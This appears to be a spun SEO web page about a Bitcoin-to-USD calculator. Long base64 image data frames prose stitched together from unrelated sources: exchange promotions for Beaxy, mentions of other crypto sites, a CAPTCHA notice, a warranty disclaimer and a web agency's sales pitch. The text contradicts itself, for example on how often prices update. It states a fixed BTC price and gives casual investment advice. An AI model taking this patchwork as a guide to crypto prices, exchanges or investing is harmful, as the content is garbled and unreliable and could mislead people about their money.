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DX5+X0i0x7evsxyo0Lp2qgbR1Fspnw+MKhzDTxkOkDAwO5bwQ1rW5GDtAByFVzaTsVZv8utNJUOkaGyOkgYS8AYweO2OPoV4DQBjlRDQPapZTNrR1taZha5tP2qahbb5aGB1MwtLYtmGAh24cfPz86oqbQ+mKbwjHZKDEG7wh5OwCMOAB28cZa1o+ZoWQloOfigaBwEXrmy08VtqFpodN2egnFZSW2kgnazwxJFCGuDMD0QfUOArqzkKOAgGOAoRa1r+bTuUUREVEREBERAREQSbMdsKOwewZ+ZTIgxir6caPrJZJprNE580vjSEvfgvzkuxnHcn61cqbTVopKiKqp6KFksLSxjg3sO3t9gV1RBADA5KiiICIiAiIg5vee36L+5rWn29J+ND+u16Ku+V0a1n9vSfjXHhEHU3V360L9D7Xck1Tqj9F+9VlRM0tdPijjmcD3zIx7XZ+lUnTD9Zn+iD0cqKyr6ffo36stk9c8unmNyjqJXD2B8sri0f3QQFy9RZ/KpvtMeWnzsnXrFvDsP57bov7mtafb0n41K/9dn0WeMHoxrM/PPSfjXHpFozdgPPV9EmRujg6L6yaHj0s1FIM/wD7lebP10/RwHMnSbW5Z6o/KKMgfUQuQaIOvj/10/RwH/y3STWtNkchlRR4I+knlUl2/XEfo/323Pt146KavrYJcmRss1ISXeo8P/6LkciiY2plx0z0nFlrFqz6xPmJ/Euq2lP1q36MWjKx9ytHQvWDal+cSOrKaRzAf6oLn8D4LMG/rtOjIzu6O6z+H7ek7fzrjyiVrFfRhw+Dxfh2P5XExVpX7ViIjf31Hu7D+e26Ljj/AHNa0+3pPxp57fov7mtafb0n41x4RS6nYfz2/Rf3Na0+3pPxp57fov7mtafb0n41x4RB2H89v0X9zWtPt6T8aee36L+5rWn29J+NceEQdh/Pb9F/c1rT7ek/Gnnt+i/ua1p9vSfjXHhEHYfz2/Rf3Na0+3pPxp57fov7mtafb0n41x4RB2H89v0X9zWtPt6T8aee36L+5rWn29J+NceEQdh/Pb9F/c1rT7ek/Gnnt+i/ua1p9vSfjXHhEHYfz2/Rf3Na0+3pPxp57fov7mtafb0n41x4RB2H89v0X9zWtPt6T8aee36L+5rWn29J+NceEQdh/Pb9F/c1rT7ek/Gnnt+i/ua1p9vSfjXHhEHYfz2/Rf3Na0+3pPxp57fov7mtafb0n41x4RB2H89v0X9zWtPt6T8aee36L+5rWn29J+NceEQdh/Pb9F/c1rT7ek/Gnnt+i/ua1p9vSfjXHhEHYfz2/Rf3Na0+3pPxp57fov7mtafb0n41x4RB2H89v0X9zWtPt6T8aee36L+5rWn29J+NceEQdh/Pb9F/c1rT7ek/Gnnt+i/ua1p9vSfjXHhEHYfz2/Rf3Na0+3pPxp57fov7mtafb0n41x4RAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERB//9k=" width="301px" alt="bitcoin to usd calc"/><br />
Bitcoin market price is updated every three minutes and is automatically displayed in USD. Don&#8217;t forget that we have plenty of other metrics that can show you whether the BTC market is in a healthy state. You can easily assess the market cap of the world&#8217;s biggest cryptocurrency — and at the top of every page we deliver an insight into Bitcoin&#8217;s dominance. Bitcoin Price is $40,114.07 and has a global 24-hour trading volume of $17,851,582,810. The most common way of converting Convert Bitcoin to USD is through a Bitcoin Exchange. Trade bitcoin in the most sophisticated and simple ways on Beaxy. The Bitcoin price page is part of Crypto.com Price Index that features price history, price ticker, market cap, and live charts for the top cryptocurrencies. The currency calculator of Markets Insider is the ideal tool for you. These are the average exchange rates of these two currencies for the last 30 and 90 days.</p>
<p>Bitcoin is renowned for its volatility — and in the past, it&#8217;s gained and lost hundreds of dollars in a matter of minutes. Thanks to our straightforward tool, you&#8217;ll never be out of the loop. Download the Beaxy Trading App to trade your BTC and access all Markets anytime and anywhere. Deposit crypto to our exchange and trade with deep liquidity and low fees.</p>
<p>Completing the CAPTCHA proves to us that you’re a human and gives you access to our platform. 0x was tapped last week to power Coinbase’s new NFT marketplace. But if you want a comprehensive guide on how to buy Bitcoin, and a full explanation of how conversions work, CoinMarketCap is here to save the day. Many exchanges offer clean user interfaces that can be compared to those used by top e-commerce websites and banks.<br />
These percentages show how much the exchange rate has fluctuated over the last 30 and 90-day periods. These are the lowest points the exchange rate has been at in the last 30 and 90-day <a href="https://www.beaxy.com/exchange/btc-usd/">bitcoin to usd calc</a> periods. These are the highest points the exchange rate has been at in the last 30 and 90-day periods. Examining everything from bitcoin&#8217;s life cycle to the instability of stablecoins.</p>
<p>A red transaction indicates that an ask order was completed, while a green transaction indicates that a bid order was completed. Combined with our user-focused design, charting and trading bitcoin on Beaxy are seamlessly integrated to make your experience as smooth as possible. Connect your bank account to Beaxy to enable BTC to FIAT pair trading and direct ACH and Wire transfers for BTC purchases. Onboard and offboard multiple national currencies simply and easily with this process. This currency calculator is provided in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.</p>
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<h2>Is it worth buying 100 dollars of Bitcoin?</h2>
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<p>If it&#8217;s a one-time investment and you just want to try crypto out, we would recommend going with a lower amount since you can&#8217;t profit much from $100 anyway. However, if that $100 is a part of an investment plan, or if you want to hodl that Bitcoin for years to come, then it might be worth it.</p>
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<p>We have developed more than 30+ websites in the past Three years and currently provide Search Engine Optimisation services to over 10 businesses. We provide excellent online services than any other professional web development and Digital marketing company in UAE, India. You can also use our Bitcoin price table above to check the latest Bitcoin price in major fiat and crypto currencies. With the currency calculator, you can quickly and easily convert amounts between any currencies. In total, there are about 160 different currencies available on the currency calculator. Our currency rankings show that the most popular Bitcoin exchange rate is the XBT to USD rate. There is no official ISO code for Bitcoins, although XBT is commonly used. Cryptocurrency adoption in the U.S. continues to rise — and in 2019, the number of people who owned digital assets doubled. With a population of 328.2 million, America is a massive and largely untapped market. Ever since Bitcoin launched in 2009, its value has often been conveyed in U.S. dollars.</p>
<p>The current market price of Bitcoin is updated every 1 minutes and is automatically sourced in USD. Bitcoin prices in other currencies are based on their corresponding USD exchange rates. Quickly and easily calculate foreign exchange rates with this free currency converter. The 3Commas currency calculator allows you to convert a currency from Bitcoin to US Dollar in just a few clicks at live exchange rates.<br />
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